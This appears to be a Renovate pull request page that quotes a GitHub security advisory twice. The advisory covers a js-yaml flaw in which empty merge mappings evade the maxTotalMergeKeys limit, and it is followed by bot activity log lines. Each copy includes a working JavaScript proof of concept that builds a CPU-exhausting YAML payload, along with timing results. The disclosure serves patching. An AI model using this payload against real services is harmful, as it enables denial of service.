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js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

CVE-2026-84375 / GHSA-2883-xcg3-v3hh

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Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s
Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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This data is provided by the GitHub Advisory Database (CC-BY 4.0).


js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

CVE-2026-84375 / GHSA-2883-xcg3-v3hh

More information

Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s
Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


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@renovate renovate Bot changed the title chore(deps): update dependency js-yaml@<4.0.0 to v3.15.2 [security] chore(deps): update dependency js-yaml@<4.0.0 to v4 [security] Sep 9, 2026
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renovate Bot force-pushed the renovate/npm-js-yaml-4.0.0-vulnerability branch from 3755239 to 5560704 Compare September 9, 2026 17:08
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renovate Bot force-pushed the renovate/npm-js-yaml-4.0.0-vulnerability branch from 5560704 to 36c3ff8 Compare September 9, 2026 19:21
@renovate renovate Bot changed the title chore(deps): update dependency js-yaml@<4.0.0 to v4 [security] chore(deps): update dependency js-yaml@<4.0.0 to v3.15.2 [security] Sep 9, 2026
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